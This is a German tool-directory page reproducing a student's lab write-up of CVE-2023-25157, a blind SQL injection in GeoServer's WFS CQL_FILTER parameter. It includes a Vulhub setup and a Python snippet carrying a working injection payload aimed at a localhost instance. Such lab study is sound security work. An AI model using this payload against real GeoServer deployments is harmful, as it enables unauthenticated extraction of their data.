Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/custiya/geoserver-cve-2023-25157
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHubcustiya/geoserver-cve-2023-25157

geoserver-CVE-2023-25157

Proof-of-Concept-Exploit für CVE-2023-25157, eine blinde SQL-Injection-Schwachstelle im WFS-CQL_FILTER-Parameter von GeoServer, die eine nicht authentifizierte Datenextraktion ermöglicht.

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

geoserver CVE-2023-25157

White Hat 3. Jahrgang [Klasse 30] Kim Jeong-woo


GitHub-Link - https://github.com/custiya/geoserver-CVE-2023-25157

Schwachstellenübersicht

  • CVE-2023-25157 ist eine SQLi-Schwachstelle in GeoServer, einer Open-Source-Webanwendung für Kartendatendienste.
  • Tritt in einigen Versionen von GeoServer 2.22.0 und älter auf.
  • Der Parameter CQL_FILTER in WFS-Anfragen (Web Feature Service) ist angreifbar.
  • Wenn die API ohne Authentifizierung erreichbar ist, kann sie von jedem ausgenutzt werden.

Aufbau der Umgebung

  • Testumgebung mit dem Befehl docker compose up -d ausführen.
  • Die Seite ist unter http://your-ip:8080/geoserver erreichbar.
  • Zuerst muss ein vorhandener Arbeitsbereich mit einem PostGIS-Datenspeicher gefunden werden.
  • In der GeoServer-Instanz von Vulhub ist bereits ein PostGIS-Datenspeicher vorhanden.
    • Name des Arbeitsbereichs: vulhub
    • Name des Datenspeichers: pg
    • Name der Tabelle: example
    • Verwendetes Attribut: name

poc.py

  • Eine auf den obigen Ausführungen basierende SQLi-Syntax.
  • Diese Syntax wird mithilfe des request-Moduls an den Server übermittelt.
  • strStartsWith(name,'x'') = true
  • Durch das Hinzufügen eines weiteren ' nach dem x wird die SQL-Syntax zerstört.
  • and 1=(SELECT CAST ((SELECT version()) AS integer))
    • Die Funktion version() gibt die aktuelle PostgreSQL-Version zurück; sie ist eine Zeichenkette.
    • CAST(... AS integer) erzwingt die Umwandlung in eine Ganzzahl, was einen Fehler verursacht.
    • Dadurch gibt der Server eine Fehlermeldung zurück, was einen Blind-SQL-Injection-Test ermöglicht.
  • root@kitploit:~
    # 대상 URL
    url = "http://localhost:8080/geoserver/ows"
    
    # CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
    cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
    
    # 파라미터 설정
    params = {
        "service": "wfs",
        "version": "1.0.0",
        "request": "GetFeature",
        "typeName": "vulhub:example",
        "CQL_FILTER": cql_filter
    }
    

    Ergebnis

    Alt text

    Fazit

    • Mit diesem PoC konnte festgestellt werden, ob eine SQLi vorliegt. Ein Angreifer könnte über SQL-Abfragen Systeminformationen sammeln.
    • Um diesen Angriff zu verhindern, muss eine Validierung der Benutzereingaben hinzugefügt werden. Außerdem sollte die eingegebene SQL-Syntax nicht direkt verwendet, sondern separat gespeichert und dann benutzt werden.
    Tool herunterladen